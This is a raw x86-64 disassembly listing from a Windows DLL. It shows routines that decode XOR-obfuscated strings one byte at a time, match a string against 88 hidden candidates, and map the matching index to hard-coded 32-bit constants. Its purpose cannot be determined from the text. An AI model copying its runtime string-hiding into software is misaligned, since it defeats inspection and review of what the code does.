lea r9, [rbp + 0x4c8]
mov r8d, r14d
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800900f0
lea rax, [rbp + 0x4c8]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x180090130
lea rdx, [rbp + 0x4c8]
jmp 0x180090ce1
movzx ecx, word [0x1801c3428]
mov r8, r13
movzx eax, byte [0x1801c342a]
movsd xmm0, qword [0x1801c3420]
movsd qword [rbp + 0x1388], xmm0
xor byte [rbp + 0x1389], 0x37
xor byte [rbp + 0x138a], 0x38
xor byte [rbp + 0x138b], 0x39
xor byte [rbp + 0x138c], 0x3a
xor byte [rbp + 0x138d], 0x3b
xor byte [rbp + 0x138e], 0x3c
xor byte [rbp + 0x138f], 0x3d
mov word [rbp + 0x1390], cx
xor cl, 0x3e
xor byte [rbp + 0x1391], 0x3f
xor al, 0x40
mov byte [rbp + 0x1388], 0x46
mov byte [rbp + 0x1392], al
lea rax, [rbp + 0x1388]
mov byte [rbp + 0x1390], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x1800901c4
lea rdx, [rbp + 0x1388]
jmp 0x180090ce1
cmp byte [0x1801c3439], r14b
movsd xmm0, qword [str.qXT_]
movzx eax, word [0x1801c3438]
movsd qword [rbp + 0x1148], xmm0
mov word [rbp + 0x1150], ax
je 0x180090246
xor byte [rbp + 0x1149], 0x37
xor byte [rbp + 0x114a], 0x38
xor byte [rbp + 0x114b], 0x39
xor byte [rbp + 0x114c], 0x3a
xor byte [rbp + 0x114d], 0x3b
xor byte [rbp + 0x114e], 0x3c
xor byte [rbp + 0x114f], 0x3d
xor byte [rbp + 0x1150], 0x3e
xor byte [rbp + 0x1151], 0x3f
mov byte [rbp + 0x1148], 0x47
lea rax, [rbp + 0x1148]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x180090250
lea rdx, [rbp + 0x1148]
jmp 0x180090ce1
mov eax, dword [str.VUT_I_]
mov r8, r13
movzx ecx, word [0x1801c3440]
mov dword [rbp + 0x208], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x209], 0x37
xor byte [rbp + 0x20a], 0x38
xor byte [rbp + 0x20b], 0x39
mov word [rbp + 0x20c], cx
xor cl, 0x3a
xor byte [rbp + 0x20d], 0x3b
xor al, 0x3c
mov byte [rbp + 0x208], 0x48
mov byte [rbp + 0x20e], al
lea rax, [rbp + 0x208]
mov byte [rbp + 0x20c], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x1800902c4
lea rdx, [rbp + 0x208]
jmp 0x180090ce1
cmp byte [0x1801c344f], r14b
mov rax, qword [str.VLZRHtEYJIewSK_0D]
mov qword [rbp + 0x4d0], rax
je 0x180090425
cmp r12d, 2
jl 0x1800903e7
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4d0]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x4d0], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4d4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4d4], xmm2
jmp 0x180090425
lea r9, [rbp + 0x4d0]
mov r8d, r14d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x1800903f1
lea rax, [rbp + 0x4d0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x180090430
lea rdx, [rbp + 0x4d0]
jmp 0x180090ce1
mov eax, dword [0x1801c3458]
mov r8d, r14d
movsd xmm0, qword [0x1801c3450]
mov dword [rbp + 0x1be8], eax
movzx eax, word [0x1801c345c]
mov word [rbp + 0x1bec], ax
movzx eax, byte [0x1801c345e]
mov byte [rbp + 0x1bee], al
movsd qword [rbp + 0x1be0], xmm0
cmp r12d, 2
jl 0x180090576
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3450]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1be0], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1be4]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1be4], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1be0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xf
jl 0x180090590
lea rax, [rbp + 0x1be0]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x1800905d0
lea rdx, [rbp + 0x1be0]
jmp 0x180090ce1
mov eax, dword [str.YQ___]
mov r8, r13
mov dword [rbp + 0x108], eax
movzx eax, word [0x1801c3464]
xor byte [rbp + 0x109], 0x37
xor byte [rbp + 0x10a], 0x38
xor byte [rbp + 0x10b], 0x39
mov word [rbp + 0x10c], ax
xor al, 0x3a
xor byte [rbp + 0x10d], 0x3b
mov byte [rbp + 0x10c], al
lea rax, [rbp + 0x108]
mov byte [rbp + 0x108], Ordinal_79
inc r8
cmp byte [rax + r8], r14b
jne 0x180090634
lea rdx, [rbp + 0x108]
jmp 0x180090ce1
cmp byte [0x1801c346f], r14b
mov rax, qword [str.V_Q_OYe_QMYSQ___A]
mov qword [rbp + 0x4d8], rax
je 0x180090795
cmp r12d, 2
jl 0x180090757
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
movdqa xmm2, xmm15
pmuldq xmm0, xmm14
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4d8]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
movdqa xmm0, xmm12
xorps xmm2, xmm1
punpckhdq xmm0, xmm12
movd dword [rbp + 0x4d8], xmm2
movdqa xmm1, xmm12
pmuldq xmm0, xmm14
movdqa xmm2, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x4dc]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x4dc], xmm2
jmp 0x180090795
lea r9, [rbp + 0x4d8]
mov r8d, r14d
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 8
jl 0x180090761
lea rax, [rbp + 0x4d8]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x1800907a0
lea rdx, [rbp + 0x4d8]
jmp 0x180090ce1
cmp byte [0x1801c347b], r14b
movsd xmm0, qword [0x1801c3470]
mov eax, dword [0x1801c3478]
movsd qword [rbp + 0x1548], xmm0
mov dword [rbp + 0x1550], eax
je 0x180090924
mov r8d, r14d
cmp r12d, 2
jl 0x1800908d8
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c3470]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1548], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x154c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x154c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1548]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x1800908f0
lea rax, [rbp + 0x1548]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x180090930
lea rdx, [rbp + 0x1548]
jmp 0x180090ce1
movzx ecx, word [0x1801c3488]
mov r8, r13
movzx eax, byte [0x1801c348a]
movsd xmm0, qword [str.x_QNHHT_T_]
movsd qword [rbp + 0x1398], xmm0
xor byte [rbp + 0x1399], 0x37
xor byte [rbp + 0x139a], 0x38
xor byte [rbp + 0x139b], 0x39
xor byte [rbp + 0x139c], 0x3a
xor byte [rbp + 0x139d], 0x3b
xor byte [rbp + 0x139e], 0x3c
xor byte [rbp + 0x139f], 0x3d
mov word [rbp + 0x13a0], cx
xor cl, 0x3e
xor byte [rbp + 0x13a1], 0x3f
xor al, 0x40
mov byte [rbp + 0x1398], Ordinal_79
mov byte [rbp + 0x13a2], al
lea rax, [rbp + 0x1398]
mov byte [rbp + 0x13a0], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x1800909c4
lea rdx, [rbp + 0x1398]
jmp 0x180090ce1
cmp byte [0x1801c349b], r14b
movsd xmm0, qword [str.fH_]
mov eax, dword [0x1801c3498]
movsd qword [rbp + 0x1648], xmm0
mov dword [rbp + 0x1650], eax
je 0x180090b44
mov r8d, r14d
cmp r12d, 2
jl 0x180090afc
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.fH_]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1648], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x164c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x164c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1648]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180090b10
lea rax, [rbp + 0x1648]
mov r8, r13
nop
inc r8
cmp byte [rax + r8], r14b
jne 0x180090b50
lea rdx, [rbp + 0x1648]
jmp 0x180090ce1
movzx ecx, word [0x1801c34a8]
mov r8, r13
movzx eax, byte [0x1801c34aa]
movsd xmm0, qword [str.tVLMV]
movsd qword [rbp + 0x13a8], xmm0
xor byte [rbp + 0x13a9], 0x37
xor byte [rbp + 0x13aa], 0x38
xor byte [rbp + 0x13ab], 0x39
xor byte [rbp + 0x13ac], 0x3a
xor byte [rbp + 0x13ad], 0x3b
xor byte [rbp + 0x13ae], 0x3c
xor byte [rbp + 0x13af], 0x3d
mov word [rbp + 0x13b0], cx
xor cl, 0x3e
xor byte [rbp + 0x13b1], 0x3f
xor al, 0x40
mov byte [rbp + 0x13a8], 0x42
mov byte [rbp + 0x13b2], al
lea rax, [rbp + 0x13a8]
mov byte [rbp + 0x13b0], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x180090be4
lea rdx, [rbp + 0x13a8]
jmp 0x180090ce1
movzx eax, byte [0x1801c34b8]
mov r8, r13
movsd xmm0, qword [str.fXWU]
movsd qword [rbp + 0xe68], xmm0
xor byte [rbp + 0xe69], 0x37
xor byte [rbp + 0xe6a], 0x38
xor byte [rbp + 0xe6b], 0x39
xor byte [rbp + 0xe6c], 0x3a
xor byte [rbp + 0xe6d], 0x3b
xor byte [rbp + 0xe6e], 0x3c
xor byte [rbp + 0xe6f], 0x3d
xor al, 0x3e
mov byte [rbp + 0xe68], 0x50
mov byte [rbp + 0xe70], al
lea rax, [rbp + 0xe68]
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r14b
jne 0x180090c60
lea rdx, [rbp + 0xe68]
jmp 0x180090ce1
mov eax, dword [str.sEJVH]
mov r8, r13
movzx ecx, word [0x1801c34c0]
mov dword [rbp + 0x210], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
xor byte [rbp + 0x211], 0x37
xor byte [rbp + 0x212], 0x38
xor byte [rbp + 0x213], 0x39
mov word [rbp + 0x214], cx
xor cl, 0x3a
xor byte [rbp + 0x215], 0x3b
xor al, 0x3c
mov byte [rbp + 0x210], 0x45
mov byte [rbp + 0x216], al
lea rax, [rbp + 0x210]
mov byte [rbp + 0x214], cl
inc r8
cmp byte [rax + r8], r14b
jne 0x180090cd1
lea rdx, [rbp + 0x210]
lea rcx, [rbp + 0x3020]
call fcn.18000ab50
cmp qword [rbp + 0x3038], 0xf
lea rcx, [rbp + 0x3020]
lea rdx, [0x18024dc10]
cmova rcx, qword [rbp + 0x3020]
call sub.VCRUNTIME140.dll_strstr
test rax, rax
je 0x180090d5c
cmp dword [0x18024b4f0], ebx
lea rcx, [rbp + 0x3020]
lea r9, [rbp + 0x4e0]
mov dword [rbp + 0x4e0], r14d
sete dl
mov dword [rbp + 0x4e4], r14d
cmp qword [rbp + 0x3038], 0xf
cmova rcx, qword [rbp + 0x3020]
xor r8d, r8d
call fcn.180008320
test al, al
je 0x180090d5c
mov dword [0x18024b4f0], ebx
inc ebx
cmp ebx, 0x58
jl 0x180089a65
call fcn.180013d50
mov eax, dword [0x18024b4f0]
cmp eax, r13d
je 0x180090d7d
mov dword [0x18024b4f4], eax
cmp byte [0x1801c34d5], r14b
mov eax, dword [0x1801c34d0]
movsd xmm0, qword [0x1801c34c8]
mov dword [rbp + 0x1b68], eax
movzx eax, word [0x1801c34d4]
mov word [rbp + 0x1b6c], ax
movsd qword [rbp + 0x1b60], xmm0
je 0x180090ef4
mov r8d, r14d
cmp r12d, 2
jl 0x180090eae
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [0x1801c34c8]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1b60], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x1b64]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x1b64], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1b60]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xe
jl 0x180090ec0
lea rdx, [0x1802497cc]
lea rcx, [rbp + 0x1b60]
call fcn.1800032d0
lea rcx, [rbp + 0x4e8]
call fcn.180016840
cmp byte [0x1801c34e3], r14b
movss xmm0, dword [rax]
mov eax, dword [0x1801c34e0]
movss dword [rbp + 0x4f0], xmm0
movsd xmm0, qword [str.qN_]
movsd qword [rbp + 0x1658], xmm0
mov dword [rbp + 0x4f4], 0x42200000
mov dword [rbp + 0x1660], eax
je 0x180091094
mov r8d, r14d
cmp r12d, 2
jl 0x18009104c
movd eax, xmm13
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
movdqa xmm0, xmm15
pmuldq xmm1, xmm14
movdqa xmm2, xmm12
punpckhdq xmm0, xmm15
mov r8d, 8
pmuldq xmm0, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm15
pmulld xmm0, xmm11
psubd xmm1, xmm0
movd xmm0, eax
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm0
movd xmm0, dword [str.qN_]
xorps xmm1, xmm0
movdqa xmm0, xmm12
movd dword [rbp + 0x1658], xmm1
movdqa xmm1, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm14
punpckldq xmm1, xmm12
pmuldq xmm1, xmm14
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm12
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movd xmm1, dword [rbp + 0x165c]
pmulld xmm0, xmm11
psubd xmm2, xmm0
movd xmm0, eax
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmm0
xorps xmm2, xmm1
movd dword [rbp + 0x165c], xmm2
movsxd rax, r8d
lea r9, [rbp + 0x1658]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x36
xor byte [r9 - 1], al
cmp r8d, 0xc
jl 0x180091060
lea rdx, [rbp + 0x4f0]
lea rcx, [rbp + 0x1658]
call fcn.180002c70
test al, al
je 0x180091634
mov eax, dword [0x18024b4f0]
test eax, eax
jne 0x1800910c4
mov r8d, 0x1b06d571
jmp 0x180091614
cmp eax, 1
jne 0x1800910d4
mov r8d, 0xbfe256d4
jmp 0x180091614
cmp eax, 2
jne 0x1800910e4
mov r8d, 0x5ef9fec4
jmp 0x180091614
cmp eax, 3
jne 0x1800910f4
mov r8d, 0x22d8fe39
jmp 0x180091614
cmp eax, 4
jne 0x180091104
mov r8d, 0x3656c8c1
jmp 0x180091614
cmp eax, 5
jne 0x180091114
mov r8d, 0x99aeeb3b
jmp 0x180091614
cmp eax, 6
jne 0x180091124
mov r8d, 0xbfd21232
jmp 0x180091614
cmp eax, 7
jne 0x180091134
mov r8d, 0x88374054
jmp 0x180091614
cmp eax, 8
jne 0x180091144
mov r8d, 0xd205520e
jmp 0x180091614
cmp eax, 9
jne 0x180091154
mov r8d, 0x83839c4
jmp 0x180091614
cmp eax, 0xa
jne 0x180091164
mov r8d, 0x47757124
jmp 0x180091614
cmp eax, 0xb
jne 0x180091174
mov r8d, 0xdc4db296
jmp 0x180091614
cmp eax, 0xc
jne 0x180091184
mov r8d, 0xc1b3c3d1
jmp 0x180091614
cmp eax, 0xd
jne 0x180091194
mov r8d, 0xcb96392f
jmp 0x180091614
cmp eax, 0xe
jne 0x1800911a4
mov r8d, 0xaf3696a1
jmp 0x180091614
cmp eax, 0xf
jne 0x1800911b4
mov r8d, 0x2b5ef5ec
jmp 0x180091614
cmp eax, 0x10
jne 0x1800911c4
mov r8d, 0x13532244
jmp 0x180091614
cmp eax, 0x11
jne 0x1800911d4
mov r8d, 0x2be6766b
jmp 0x180091614
cmp eax, 0x12
jne 0x1800911e4
mov r8d, 0x78a97cd0
jmp 0x180091614
cmp eax, 0x13
jne 0x1800911f4
mov r8d, 0xefe7e2df
jmp 0x180091614
cmp eax, 0x14
jne 0x180091204
mov r8d, 0xa3d4d34
jmp 0x180091614
cmp eax, 0x15
jne 0x180091214
mov r8d, 0xdb1aa450
jmp 0x180091614
cmp eax, 0x16
jne 0x180091224
mov r8d, 0xbd248b55
jmp 0x180091614
cmp eax, 0x17
jne 0x180091234
mov r8d, 0x476bf155
jmp 0x180091614
cmp eax, 0x18
jne 0x180091244
mov r8d, 0xbfefff6d
jmp 0x180091614
cmp eax, 0x19
jne 0x180091254
mov r8d, 0x394f415c
jmp 0x180091614
cmp eax, 0x1a
jne 0x180091264
mov r8d, 0x83bf0278
jmp 0x180091614
cmp eax, 0x1b
jne 0x180091274
mov r8d, 0xfad1f1c9
jmp 0x180091614
cmp eax, 0x1c
jne 0x180091284
mov r8d, 0xaf113f99
jmp 0x180091614
cmp eax, 0x1d
jne 0x180091294
mov r8d, 0xc0a3098d
jmp 0x180091614
cmp eax, 0x1e
jne 0x1800912a4
mov r8d, 0x969c3d67
jmp 0x180091614
cmp eax, 0x1f
jne 0x1800912b4
mov r8d, 0x7f229f94
jmp 0x180091614
cmp eax, 0x20
jne 0x1800912c4
mov r8d, 0x84d6fafd
jmp 0x180091614
cmp eax, 0x21
jne 0x1800912d4
mov r8d, 0x624fe830
jmp 0x180091614
cmp eax, 0x22
jne 0x1800912e4
mov r8d, 0x9d1f17e6
jmp 0x180091614
cmp eax, 0x23
jne 0x1800912f4
mov r8d, 0xc78d71b4
jmp 0x180091614
cmp eax, 0x24
jne 0x180091304
mov r8d, 0xd1d5f52b
jmp 0x180091614
cmp eax, 0x25
jne 0x180091314
mov r8d, 0x1d073a89
jmp 0x180091614
cmp eax, 0x26
jne 0x180091324
mov r8d, 0x555af99a
jmp 0x180091614
cmp eax, 0x27
jne 0x180091334
mov r8d, 0x7846a318
jmp 0x180091614
cmp eax, 0x28
jne 0x180091344
mov r8d, 0xe284c527
jmp 0x180091614
cmp eax, 0x29
jne 0x180091354
mov r8d, 0x9d61e50f
jmp 0x180091614
cmp eax, 0x2a
jne 0x180091364
mov r8d, 0xa89cb99e
jmp 0x180091614
cmp eax, 0x2b
jne 0x180091374
mov r8d, 0x3aabbbaa
jmp 0x180091614
cmp eax, 0x2c
jne 0x180091384
mov r8d, 0xef951fbb
jmp 0x180091614
cmp eax, 0x2d
jne 0x180091394
mov r8d, 0x12e82d3d
jmp 0x180091614
cmp eax, 0x2e
jne 0x1800913a4
mov r8d, 0x9d07f764
jmp 0x180091614
cmp eax, 0x2f
jne 0x1800913b4
mov r8d, 0x7fd62962
jmp 0x180091614
cmp eax, 0x30
jne 0x1800913c4
mov r8d, 0xdbbd7280
jmp 0x180091614
cmp eax, 0x31
jne 0x1800913d4
mov r8d, 0x61012683
jmp 0x180091614
cmp eax, 0x32
jne 0x1800913e4
mov r8d, 0x5fc3c11
jmp 0x180091614
cmp eax, 0x33
jne 0x1800913f4
mov r8d, 0xc472fe2
jmp 0x180091614
cmp eax, 0x34
jne 0x180091404
mov r8d, 0xa914799
jmp 0x180091614
cmp eax, 0x35
jne 0x180091414
mov r8d, 0xc734385a
jmp 0x180091614
cmp eax, 0x36
jne 0x180091424
mov r8d, 0x6a6c02e0
jmp 0x180091614
cmp eax, 0x37
jne 0x180091434
mov r8d, 0x6e7dddec
jmp 0x180091614
cmp eax, 0x38
jne 0x180091444
mov r8d, 0xb1ca77b1
jmp 0x180091614
cmp eax, 0x39
jne 0x180091454
mov r8d, 0xa284510b
jmp 0x180091614
cmp eax, 0x3a
jne 0x180091464
mov r8d, 0x42bf8a85
jmp 0x180091614
cmp eax, 0x3b
jne 0x180091474
mov r8d, 0x7f7497e5
jmp 0x180091614
cmp eax, 0x3c
jne 0x180091484
mov r8d, 0x6d544c99
jmp 0x180091614
cmp eax, 0x3d
jne 0x180091494
mov r8d, 0x63ab0442
jmp 0x180091614
cmp eax, 0x3e
jne 0x1800914a4
mov r8d, 0x781fe4a
jmp 0x180091614
cmp eax, 0x3f
jne 0x1800914b4
mov r8d, 0xb62d1f67
jmp 0x180091614
cmp eax, 0x40
jne 0x1800914c4
mov r8d, 0x93e220bd
jmp 0x180091614
cmp eax, 0x41
jne 0x1800914d4
mov r8d, 0xa0973d5e
jmp 0x180091614
cmp eax, 0x42
jne 0x1800914e4
mov r8d, 0x24b17070
jmp 0x180091614
cmp eax, 0x43
jne 0x1800914f4
mov r8d, 0x2c3731d9
jmp 0x180091614
cmp eax, 0x44
jne 0x180091504
mov r8d, 0xab564b93
jmp 0x180091614
cmp eax, 0x45
jne 0x180091514
mov r8d, 0x787f0bb
jmp 0x180091614
cmp eax, 0x46
jne 0x180091524
mov r8d, 0xba45e8b8
jmp 0x180091614
cmp eax, 0x47
jne 0x180091534
mov r8d, 0x23c9f95c
jmp 0x180091614
cmp eax, 0x48
jne 0x180091544
mov r8d, 0x92a27487
jmp 0x180091614
cmp eax, 0x49
jne 0x180091554
mov r8d, 0x958a4a8f
jmp 0x180091614
cmp eax, 0x4a
jne 0x180091564
mov r8d, 0xf9e6aa4b
jmp 0x180091614
cmp eax, 0x4b
jne 0x180091574
mov r8d, 0x84bd7bfd
